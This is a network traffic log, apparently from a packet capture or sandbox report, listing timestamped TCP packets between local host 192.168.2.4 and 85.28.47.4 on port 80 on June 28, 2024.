Jun 28, 2024 22:32:05.384921074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.385535002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385545969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385555029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385562897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385572910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385581970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385591984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.385592937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385633945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.385679960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385690928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385700941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385710955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385720968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385725975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.385730982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.385751963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.385776043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.386639118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386650085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386660099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386696100 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.386720896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.386806011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386817932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386826992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386837006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386847019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386857986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386862040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.386868954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386879921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386889935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.386907101 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.386928082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.387706041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387716055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387725115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387734890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387746096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387761116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.387792110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.387862921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387872934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387882948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387892962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387902975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387904882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.387912989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387923956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.387947083 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.387984037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.388571978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388583899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388628006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.388701916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388714075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388722897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388746023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.388786077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.388854980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388864994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388874054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388884068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388892889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388900042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.388904095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388914108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.388921022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.388947964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.388993025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.389645100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389657021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389666080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389703035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.389743090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.389797926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389810085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389821053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389832973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389842987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389847040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.389853954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389864922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389882088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389887094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.389892101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389904022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.389919996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.389944077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.390574932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390587091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390598059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390609026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390629053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.390655994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.390726089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390737057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390747070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390757084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390767097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390768051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.390777111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390805960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.390841961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.390865088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390875101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.390909910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.391655922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391666889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391678095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391688108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391697884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391709089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.391732931 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.391761065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.391797066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391808987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391818047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391838074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.391860008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.391946077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391957045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391962051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391966105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391976118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391984940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.391994953 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.391995907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.392018080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.392040014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.392599106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.392611027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.392654896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.470822096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.470844030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.470853090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.470894098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.470921993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.470973015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.470983982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.470993996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471004009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471020937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.471045971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.471210957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471266985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.471292019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471347094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.471378088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471386909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471400976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471411943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471431971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.471468925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.471662998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471672058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471682072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471693039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471724033 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.471755028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.471901894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.471956015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.472054958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472064972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472074986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472084999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472095013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472104073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472105980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.472110987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472134113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.472172022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.472511053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472521067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472564936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.472758055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472768068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472778082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472785950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472790956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472795963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472806931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472809076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.472816944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472826958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472836971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472856998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472857952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.472868919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.472898960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.472920895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.473617077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473627090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473637104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473647118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473658085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473666906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473668098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.473678112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473690987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.473691940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473702908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473714113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.473733902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.473757982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.474273920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474283934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474293947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474303007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474314928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474325895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.474365950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.474792957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474802971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474812031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474822044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474831104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474839926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474849939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474852085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.474858999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474869013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474878073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474888086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474889040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.474898100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.474915028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.474944115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.475744963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475755930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475764990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475775003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475785017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475790024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.475795984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475805044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475814104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.475815058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475825071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475835085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475843906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475852966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475853920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.475864887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.475879908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.475905895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.476732016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476742983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476752043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476757050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476761103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476764917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476771116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476780891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476788998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.476790905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476802111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476810932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476819992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476821899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.476830006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.476860046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.477659941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477670908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477679968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477689028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477698088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477708101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477710962 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.477718115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477734089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477744102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477752924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477762938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477770090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.477773905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.477796078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.477821112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.478403091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478413105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478423119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478431940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478441954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478452921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478456020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.478462934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478472948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478481054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.478482962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478493929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.478519917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.478543997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.563625097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.563672066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.563680887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.563707113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.563735008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.563802958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.563813925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.563824892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.563834906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.563844919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.563884020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.564009905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564062119 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.564074039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564117908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.564176083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564188004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564197063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564205885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564225912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.564251900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.564421892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564431906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564441919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564451933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564460993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564471006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564472914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.564516068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.564744949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564798117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.564974070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564984083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.564996004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565013885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565025091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565028906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565036058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565045118 CEST	80	49731	85.28.47.4	192.168.2.4
